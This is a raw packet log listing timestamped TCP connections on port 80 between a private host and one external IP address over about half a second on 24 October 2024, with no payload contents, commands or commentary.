Oct 24, 2024 08:38:21.617542028 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.617553949 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.617564917 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.617602110 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.617836952 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.617933035 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.617944956 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.617955923 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.617999077 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.617999077 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.618242979 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.618256092 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.618277073 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.618287086 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.618304014 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.618311882 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.618311882 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.618350029 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.665308952 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.665352106 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.665363073 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.665503025 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.665503025 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.699810028 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.699822903 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.699835062 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.699908972 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.699908972 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.703301907 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.703322887 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.703336000 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.703399897 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.703399897 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.703455925 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.703469038 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.703480005 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.703509092 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.703564882 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.703722000 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.703746080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.703757048 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.703805923 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.703805923 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.703805923 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.704279900 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.704292059 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.704303980 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.704317093 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.704377890 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.704377890 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.704377890 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.704543114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.704561949 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.704575062 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.704622030 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.704632998 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.704638004 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.704638004 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.704698086 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.704698086 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.733205080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.733218908 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.733230114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.733241081 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.733381033 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.733381987 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.733403921 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.733414888 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.733490944 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.733566046 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.733587980 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.733602047 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.733625889 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.733625889 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.733927011 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.734590054 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.734641075 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.734652996 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.734671116 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.734698057 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.734813929 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.734834909 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.734873056 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.734884977 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.734895945 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.734926939 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.734926939 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.734926939 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.734961033 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.735291004 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.735301971 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.735320091 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.735344887 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.735438108 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.735588074 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.735599995 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.735610962 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.735652924 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.735706091 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.782764912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.782778978 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.782790899 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.783047915 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.783047915 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.816917896 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.816934109 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.816943884 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.817140102 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.817140102 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.820528984 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.820550919 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.820561886 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.820606947 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.820616007 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.820627928 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.820679903 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.820692062 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.820703983 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.820705891 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.820705891 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.820740938 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.820740938 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.821238995 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.821250916 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.821263075 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.821310043 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.821310043 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.821310997 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.821470976 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.821516037 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.821527958 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.821540117 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.821563005 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.821681976 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.821968079 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.821980953 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.821994066 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.822005033 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.822025061 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.822065115 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.850312948 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.850373030 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.850377083 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.850384951 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.850455046 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.850512981 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.850533962 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.850578070 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.850585938 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.850620985 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.850646019 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.850759029 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.850805998 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.850816965 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.850836039 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.850902081 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.851306915 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.851326942 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.851358891 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.851401091 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.851672888 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.851722956 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.851733923 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.851754904 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.851768017 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.851780891 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.851784945 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.851784945 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.851784945 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.851825953 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.851851940 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.852135897 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.852206945 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.852220058 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.852231979 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.852273941 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.852273941 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.852273941 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.852575064 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.852627993 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.852639914 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.852650881 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.852699995 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.852699995 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.852699995 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.899699926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.899724007 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.899735928 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.899812937 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.899812937 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.934185982 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.934257030 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.934268951 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.934326887 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.934353113 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.937602997 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.937665939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.937676907 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.937688112 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.937726974 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.937737942 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.937750101 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.937762976 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.937797070 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.937797070 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.937797070 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.938127995 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.938139915 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.938150883 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.938160896 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.938172102 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.938189983 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.938227892 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.938473940 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.938534021 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.938544989 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.938564062 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.938575029 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.938601971 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.938601971 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.938621044 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.938978910 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.939016104 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.939023018 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.939034939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.939048052 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.939062119 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.939100027 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.939100027 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.939100027 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.939100027 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.967410088 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.967473030 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.967504025 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.967560053 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.967607975 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.967629910 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.967650890 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.967662096 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.967696905 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.967766047 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.968117952 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.968137980 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.968148947 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.968185902 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.968275070 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.968746901 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.968837976 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.968848944 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.968888998 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.968902111 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.968903065 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.968914032 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.968961000 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.968961000 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.969290018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.969301939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.969314098 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.969352007 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.969352007 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.969484091 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.969496012 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.969508886 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.969521046 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.969553947 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.969553947 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.969553947 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.969676971 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.969901085 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.969913960 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.969924927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.969971895 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.969971895 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.016702890 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.016725063 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.016818047 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.017045975 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.017069101 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.017137051 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.051281929 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.051311016 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.051492929 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.051594019 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.051671982 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.051726103 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.054805040 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.054888010 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.054899931 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.054913044 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.054945946 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.054969072 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055031061 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055042982 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055084944 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.055084944 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.055084944 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.055092096 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055104971 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055150032 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.055150032 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.055577993 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055603981 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055614948 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055627108 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055674076 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.055674076 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.055674076 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.055850983 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055906057 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055917025 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055927992 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055941105 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.055984020 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.055984020 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.055984020 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.056421041 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.056433916 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.056446075 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.056497097 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.056497097 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.056497097 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.084742069 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.084757090 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.084769964 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.084794998 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.084808111 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.084820986 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.084819078 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.084834099 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.084847927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.084857941 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.084908009 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.084908009 CEST	61010	80	192.168.2.5	185.215.113.16
